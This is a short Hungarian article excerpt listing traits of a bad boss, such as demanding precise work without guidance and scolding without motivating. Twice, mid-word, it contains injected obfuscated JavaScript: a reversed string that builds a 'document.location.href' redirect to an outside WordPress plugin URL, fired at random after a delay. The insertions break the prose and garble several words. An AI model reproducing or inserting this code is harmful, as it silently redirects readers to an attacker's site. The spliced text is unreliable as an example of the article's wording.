A rossz főnök nem tudja vezetni a csapatát, sőt nem is számít annyira extrém esetnek, hogy egy-egy munkavállaló az elviselhetetlen felettes miatt bont vitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torlát. A nem megfelelő vezetési stratégiát gyakorolni természetesen könnyebb, ahogy felismerni is. Ennek ékes példáit gyűjtöttük össze. Csak elvár, de nem magyaráz A rossz főnök egyik legtipikusabb ismérve, hogy precíz munkavégzést vár el a határidők szentségének betartása mellett. Ez természetesen nem is lenne probléma, ha emellé némi segítséget vagy iránymutatást adna. Iránymeghatározás, építő jellegű visszajelzés nélkül viszont csak kis ideig lehet ezt fenntartani. Korhol, de nem motivál A fentihez talán szorosan hozzátartoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tozik az a fajta attitűd is,…
A cikk folytatódik: http://sikeresceg.co.hu/munkaero/2019/02/18/a-rossz-fonok-4-ismerve.html
- Hirdetés -
